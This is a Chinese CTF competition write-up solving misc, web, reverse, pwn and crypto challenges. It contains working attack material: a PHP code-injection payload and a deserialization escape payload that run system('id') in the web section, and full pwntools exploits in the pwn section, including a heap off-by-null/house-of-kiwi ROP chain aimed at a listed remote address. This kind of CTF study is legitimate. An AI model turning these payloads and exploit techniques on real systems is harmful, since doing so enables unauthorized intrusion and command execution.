MISC
特殊流量
看流量,结合题目,分析后发现找WebSocket的包,其余都是干扰流量,找到包追踪tcp,得到,在601tcp流得到
然后解密base64就行
Repair_PNG
Hint.txt给出了密码:
挂载VC得到一张png,拖进010报错,逐个分析数据块,发现从chunk·16开始出现问题:
长度被篡改,而且用于篡改的内容很明显是AES等对称加密的密文,首先根据正常的块得到块长度:
在010里搜索IDAT,可以发现还有好多被篡改长度的块,而且用于篡改的值都是四字节的AES密文,例如:
那么将每个被篡改的IDAT前的四字节提取出来拼接即可得到AES密文
U2FsdGVkX1/HfiTldZcyWOWmQffHye5saaOlP/ZUp3quYjfBSplwZKY8mfpyb5nJAy+MntKQQVvuNnupJoLDjA==
将每个对应块长度的位置以0000fff4替换即可修复图片,图片修复完成后即可在图片上得到密码:
在线网站解密即可:
https://www.sojson.com/encrypt_des.html
流量分析3
WireShark打开追TCP流,可以看到只有4个流
其中流1包含了整个包最长的几条流量,分析应该是上传了一个png图片
追流可以发现有png头
文件 -> 导出对象 -> HTTP-将其保存下来
然后010打开处理一下成这样即可改后缀为png成功打开
StegSolve查看图片各通道,可在R 0通道发现半个二维码
但是只有半个无法扫描,继续看流量发现一个提示
写个脚本将每个颜色的16个通道都保存下来
import cv2
import numpy as np
import os
def extract_bit_planes(image_path, output_folder):
# 读取16位PNG图像,保持原始位深
img = cv2.imread(image_path, cv2.IMREAD_UNCHANGED)
if img is None:
print(f"无法读取图像: {image_path}")
return
# 检查图像是否为多通道(RGB)
if len(img.shape) != 3 or img.shape[2] < 3:
print("图像不是RGB多通道图像。")
return
# 创建输出文件夹(如果不存在的话)
if not os.path.exists(output_folder):
os.makedirs(output_folder)
# 分离RGB通道
# OpenCV以BGR顺序读取图像,所以顺序是 B, G, R
channels = cv2.split(img)
channel_names = ['B', 'G', 'R']
for idx, channel in enumerate(channels):
channel_name = channel_names[idx]
for bit in range(16):
# 提取对应bit位
bit_mask = 1 << bit
bit_plane = cv2.bitwise_and(channel, bit_mask)
# 将bit平面转换为0和255,方便可视化
bit_plane = np.where(bit_plane > 0, 255, 0).astype(np.uint8)
# 构造保存路径
filename = f"{channel_name}_bit_{bit}.png"
save_path = os.path.join(output_folder, filename)
# 保存图像
cv2.imwrite(save_path, bit_plane)
print(f"保存: {save_path}")
if __name__ == "__main__":
# 设置输入图像路径和输出文件夹
image_path = r"upload.png" # 替换为你的图像路径
output_folder = r"bit_planes_output"
extract_bit_planes(image_path, output_folder)
即可在分离出的通道找到两部分的二维码
简单的拼一下用微信扫码即可得到flag
WEB
web1
在show.php?file=存在任意文件读取
首先file=index.php
<?php
error_reporting(0);
// 检查是否有提交数据
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$notify1 = $_POST['notify1'];
$notify2 = $_POST['notify2'];
$notify3 = $_POST['notify3'];
// 将留言写入文件
$open = fopen("./messagesUes.php", "w");
$str = '<?php ';
$str .= '$notify1 = "' . $notify1 . '"; ';
$str .= '$notify2 = "' . $notify2 . '"; ';
$str .= '$notify3 = "' . $notify3 . '"; ';
$str .= "?>";
fwrite($open, $str);
fclose($open);
// 包含文件以加载留言
include('./messagesUes.php');
} else {
// 默认留言为空
$notify1 = $notify2 = $notify3 = '';
}
// HTML 部分
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>留言板</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(to right, #333, #fff);
color: #333;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
position: relative;
}
.container {
background-color: rgba(255, 255, 255, 0.9);
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
width: 400px;
text-align: center;
}
h1 {
color: #444;
}
label {
display: block;
margin: 10px 0 5px;
}
textarea {
width: 100%;
height: 80px;
margin-bottom: 10px;
padding: 8px;
border: 1px solid #ccc;
border-radius: 4px;
resize: none;
}
button {
padding: 10px 15px;
border: none;
border-radius: 4px;
background-color: #5cb85c;
color: white;
cursor: pointer;
transition: background-color 0.3s;
}
button:hover {
background-color: #4cae4c;
}
h2 {
margin-top: 20px;
color: #555;
}
p {
margin: 5px 0;
}
/* 头像样式,确保定位在整个页面的右上角 */
.avatar {
position: absolute;
top: 20px; /* 与页面顶部的距离 */
right: 20px; /* 与页面右侧的距离 */
text-align: center;
}
.avatar img {
border-radius: 50%;
width: 60px; /* 头像宽度 */
height: 60px; /* 头像高度 */
}
.avatar a {
display: block;
margin-top: 5px; /* 距离头像的间隙 */
color: #007bff;
text-decoration: none;
font-size: 12px; /* 调整字体大小 */
}
.avatar a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<!-- 右上角头像及链接,放在 body 内 -->
<div class="avatar">
<img src="./img/1.jpg" alt="头像">
<a href="/show.php?file=img/1.jpg" target="_blank">点击查看头像</a>
</div>
<div class="container">
<h1>留言板</h1>
<form method="POST">
<label for="notify1">留言 1:</label>
<textarea name="notify1" id="notify1"><?php echo htmlspecialchars($notify1); ?></textarea>
<label for="notify2">留言 2:</label>
<textarea name="notify2" id="notify2"><?php echo htmlspecialchars($notify2); ?></textarea>
<label for="notify3">留言 3:</label>
<textarea name="notify3" id="notify3"><?php echo htmlspecialchars($notify3); ?></textarea>
<button type="submit">提交留言</button>
</form>
<h2>留言内容:</h2>
<p>留言 1: <?php echo htmlspecialchars($notify1); ?></p>
<p>留言 2: <?php echo htmlspecialchars($notify2); ?></p>
<p>留言 3: <?php echo htmlspecialchars($notify3); ?></p>
</div>
</body>
</html>
发现
// 将留言写入文件
$open = fopen("./messagesUes.php", "w");
$str = '<?php ';
$str .= '$notify1 = "' . $notify1 . '"; ';
$str .= '$notify2 = "' . $notify2 . '"; ';
$str .= '$notify3 = "' . $notify3 . '"; ';
$str .= "?>";
fwrite($open, $str);
fclose($open);
// 包含文件以加载留言
include('./messagesUes.php');
写入文件来进行文件包含的,所以即可
";system("id");#
web2
<?php
function checker($s){
$ss = str_replace("fakes","fake",$s);
return $ss;
}
Class A1{
public $test;
public $test1;
public $test2;
public $test3;
public function __construct($test1){
$this->test1=$test1;
}
public function __invoke(){
echo "welcome";
}
}
Class B1{
public $test1;
public $test2;
public function __construct($test1,$test2){
$this->test1=$test1;
$this->test2=$test2;
}
public function __destruct(){
// $this -> test1();
}
}
Class C1{
public $test1;
public function __construct(){
$this->test1="test1";
}
public function __destruct()
{
if(preg_match('/[a-z0-9]/i', $this->test1))
{
echo "sry";
}
}
}
Class D1{
public $test1;
public $test2;
public function __construct()
{
$this->test1="echo";
$this->test2="fakes";
}
public function __toString()
{
echo 1;
// TODO: Implement __toString() method.
call_user_func($this->test1,$this->test2);
}
}
$a = $_POST["a"];
$b = $_POST["b"];
if(isset($_POST["a"])&&isset($_POST["b"])){
// echo 1;
$b = new B1($a,$b);
$c = checker(serialize($b));
echo $c;
$d = unserialize($c);
}
else{
highlight_file(__FILE__);
}
//unserialize('O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}');
发现反序列化字符串逃逸减少
首先写一个能够rce的payload
<?php
error_reporting(0);
function checker($s){
$ss = str_replace("fakes","fake",$s);
return $ss;
}
Class A1{
public $test;
public $test1;
public $test2;
public $test3;
public function __construct($test1){
$this->test1=$test1;
}
public function __invoke(){
echo "welcome";
}
}
Class B1{
public $test1;
public $test2;
public function __construct($test1,$test2){
$this->test1=$test1;
$this->test2=$test2;
}
public function __destruct(){
$this -> test1();
}
}
Class C1{
public $test1;
public function __construct(){
$this->test1="test1";
}
public function __destruct()
{
if(preg_match('/[a-z0-9]/i', $this->test1))
{
echo "sry";
}
}
}
Class D1{
public $test1;
public $test2;
public function __construct()
{
$this->test1="system";
$this->test2="id";
}
public function __toString()
{
// TODO: Implement __toString() method.
call_user_func($this->test1,$this->test2);
}
}
$a = new C1();
$a->test1 = new D1();
echo serialize($a);
php test.php
O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}uid=1000(xxx)
这样获取到我们的逃逸的payload,不过少了一点细节,也就是
";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}
我们需要逃逸这个
发现了减少逃逸的字符串为
";s:5:"test2";s:100:"aa
所以payload就是
a=fakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakesfakes&b=aa";s:5:"test2";O:2:"C1":1:{s:5:"test1";O:2:"D1":2:{s:5:"test1";s:6:"system";s:5:"test2";s:2:"id";}}
REVERSE
ezVM
其实就是程序每次读取的输入后亦或的一个字符串,直接写出解密脚本
import struct
# 定义密钥和数据
key = b"YesYouFindtheVMKeyBravo"
buf2 = [0x1D22251D, 0x3343383F, 1108811830, 0x3B20483F, 0x2E2F1E65, 0x286C29]
# 将整数数组 buf2 转换为字节数组
data = bytearray()
for num in buf2:
data += struct.pack("<I", num)
# 解密操作
for i in range(len(key)):
data[i] = (data[i] - i) & 0xFF # 确保值在 0-255 范围内
data[i] ^= key[i]
# 将解密后的数据转换为字符串并打印
result_string = data[:len(key)].decode('utf-8')
print(result_string)
checkyourflag
在字符串这里看到win,跟踪函数调用找到check的位置
可以看到通过v3的值分别进行异或
后面就是简单异或拷打GPT就行
提取:
# 给定的 v27 数组
v27 = [
0xDA53D840, 0xAB3BDF50, 0xA920AC7C, 0xAA74FB20, 0xFA73AF22,
0xFC20AE2E, 0xAA7DAE7F, 0xFA21FA25, 0xFF73FA70, 0xE423AD75
]
# 将每个整数拆解为逐一字节
def split_into_bytes(v27):
byte_array = []
for value in v27:
# 使用 little-endian 方式拆分每个 32 位整数为字节
bytes_rep = value.to_bytes(4, byteorder='little') # 转为4个字节(小端格式)
byte_array.extend(bytes_rep) # 将这些字节添加到数组中
return byte_array
# 调用函数并获取字节数组
byte_array = split_into_bytes(v27)
# 打印每10个字节换行,每个字节之间用逗号分割
print("Byte sequence:")
for i in range(0, len(byte_array), 10):
# 获取当前行的10个字节
line = byte_array[i:i+10]
# 格式化每个字节为十六进制并连接为字符串
print(", ".join(f"0x{byte:02X}" for byte in line))
解密:
# 密文v27数组的值(从代码中提取)
v27 = [
0x40, 0xD8, 0x53, 0xDA, 0x50, 0xDF, 0x3B, 0xAB, 0x7C, 0xAC,
0x20, 0xA9, 0x20, 0xFB, 0x74, 0xAA, 0x22, 0xAF, 0x73, 0xFA,
0x2E, 0xAE, 0x20, 0xFC, 0x7F, 0xAE, 0x7D, 0xAA, 0x25, 0xFA,
0x21, 0xFA, 0x70, 0xFA, 0x73, 0xFF, 0x75, 0xAD, 0x23, 0xE4
]
# 解密函数,逆向加密过程
def decrypt(v27):
# 遍历密文数组进行逆向解密
for i in range(len(v27)):
if (i & 1) != 0: # 对于奇数位置的元素,执行 XOR 操作
v27[i] ^= 0x99
else: # 对于偶数位置的元素,先执行 XOR 操作,再加上 30
v27[i] ^= 0x66
v27[i] += 30
# 返回解密后的 flag
return bytes(v27).decode(errors='ignore')
# 解密并输出 flag
flag = decrypt(v27)
print("Decrypted flag:", flag)
PWN
pwn1
from pwn import *
io = process('./guess')
elf = ELF('./guess')
context(log_level='debug')
for i in range(0x14):
io.recvuntil(b'input your guess\n')
payload = b'777'
payload = payload.ljust(8,b'\x00')
io.send(payload)
io.recvuntil("good!\n")
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str("+"))
io.sendline(str(0xdeadbeef))
io.sendline(str(0x4012db))
io.interactive()
pwn2
打开ida发现edit功能存在off by null的漏洞
这里观察show函数发现了存在加密,经过观察发现是RC4,这里找gpt获得解密脚本
Free函数无uaf
Add函数只能申请固定大小堆块,libc版本为2.34,很容易想到通过那个off by null利用house of kiwi进行攻击
from pwn import*
from Crypto.Cipher import ARC4
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./heap')
p= remote('139.155.126.78',31054)
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
pause()
def cmd(a):
sla(b'CHOICE: ',str(a))
def add():
cmd(1)
def edit(idx,size,content):
cmd(2)
sla(b'INDEX: ',str(idx))
sla(b'SIZE: ',str(size))
sa(b'CONTENT: ',content)
def show(idx):
cmd(3)
sla(b'INDEX: ',str(idx))
def free(idx):
cmd(4)
sla(b'INDEX: ',str(idx))
def decode(pay, key1):
key = bytes(key1, encoding='utf-8')
enc = ARC4.new(key)
res = enc.decrypt(pay)
return res
rc4_key = "\x7f\x45\x4c\x46\x02\x01\x01"
for i in range(15):
add()
for i in range(3,10):
free(i)
free(0)
free(1)
free(2)
for i in range(10):
add()
show(9)
p.recv(5)
key = u64(decode(p.recv(5),rc4_key).ljust(8,b"\x00"))
heap_base = key << 12
li(key)
li(heap_base)
show(8)
p.recv(5)
libc_base = u64(decode(p.recv(6),rc4_key).ljust(8,b'\x00'))-0x1f2cc0
li(libc_base)
for i in range(7):
free(i)
edit(7,0xf8,p64(heap_base+0x470)*2)
free(8)
for i in range(8):
add()
free(9)
free(8)
ret=libc_base+libc.search(asm("ret")).__next__()
rdi=libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi=libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax=libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,bin=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
puts=libc_base + libc.sym['puts']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base + libc.sym['setcontext'] + 61
rdx=libc_base+0x0000000000087759 #rdx,rbx
_IO_file_jumps = libc_base + 0x1f4560 + 0x60
_IO_helper_jumps = libc_base + 0x1f3960 + 0xa0
flag = heap_base + 0x1280 + 0xd0
orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open)
orw +=p64(rdi) + p64(3) + p64(rsi) + p64(flag+0x10) + p64(rdx) + p64(0x100) + p64(0)+ p64(read)
orw +=p64(rdi) + p64(flag+0x10) + p64(puts)
orw = orw.ljust(0xd0 ,b"\x00")
orw += b'./flag\x00'
edit(7,0x10,p64(key ^ _IO_helper_jumps))
edit(14,0xf0,orw)
add() #8
add() #9
edit(9,0x10,p64(heap_base+0x1280) + p64(rdi+1))
free(10)
free(8)
edit(7,0x10,p64(key ^ _IO_file_jumps))
add() #8
add() #10
edit(10,0x10,p64(setcontext))
free(11)
free(8)
edit(7,0x10,p64(key^(heap_base + 0x1370)))
add() #8
add() #11
edit(11,0x10,p64(0)*2)
add()
add()
inter()
CRYPTO
bbb
强网杯apbq的part三,造了一通格子才认出来
from gmpy2 import *
from Crypto.Util.number import *
c=242319185698105966655811445195646165772013130518334334162252266969002201624779527078330676453235767390330780831161760574272413824450562363719470733193743162466341642825448999475127421027884538732952287818775578674011266584557436930741593502788559576089268405727954506642287558247104400841378166608643114577097136065234590225310895617443375941573228936034616455500751983362999490808023115657533450432557813185878160445309856767963194393138873447889804383396880767349563873409518315199704565143016369326672458639559958597154697965186545110678201108512625438329575629949086827161665402396440860960941415911878862932716
n=441522587869616749138797465532639436283961259111657934966888819387372178302775576376364712193076049405075347561837908020324373038749442055032833183300869647615172010963365836986154161648583082757314769298002257388631720849937763680726838132583378677561490049437481683836064669759255586303448222204575037683338662178295455778491007161112769510561185414715476484798533243282400251263092618695814970950180618826257642818430948899210822780087415109643704831306938196522011291127467370515424147721491645066322779363762109668238230739500744231601240751975467633389119737701026132439742280472955562542076451393469920709413
hint1=17817487943395422123342006438258298667428179946815051779848621580624602814557544233549701919939506547723962007508306809894299353166612229227579979518255525215296169402087911021532151814442967358027333089703201268353220339693072081576004483475155871334555810758463081853120188212504620113353614966771724444858136947027458226965305234232387086706519521150015910958417759945074484984220668424317692306964197465165961371032147311046782902947408983728409112857203221763810582563523855808203892411140679241411269431868123802101895164298037477881517928173151858504248818439471985658479639214407136813866163781042862874376623
hint2=507655543445719887393880289556052316199636906666104900190345863932916388145030360549029392536646985738191345835942055042349983029079001998686154728826856491260487483477968537386815513137401032976334169717301621583119046594107288445735196550464169567662623283761689493622187333261306587925390376485660497678023692394093269747965940785720005284184547408047483424966456717371657844981405816595512464907300400643958535745888734700846913746348325704420535690307781666535468546394350875710786845456727290841831099933648037602469321163771162452711978551964177586237673498624172843090041809878011155422986987754596960646442
x=hint1
y=hint2
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)
_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
for p_upper_bits in range(16):
p_upper = p_upper_bits << 1020
for q_upper_bits in range(16):
q_upper = q_upper_bits << 1020
M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
B = M.LLL()
for b in B:
if b[-1] == S:
if b[1] < 0:
b *= -1
p_guess = b[1] + p_upper
q_guess = b[2] + q_upper
if p_guess * q_guess == n:
d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
message = int(pow(c, d, n))
message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
print(message_bytes)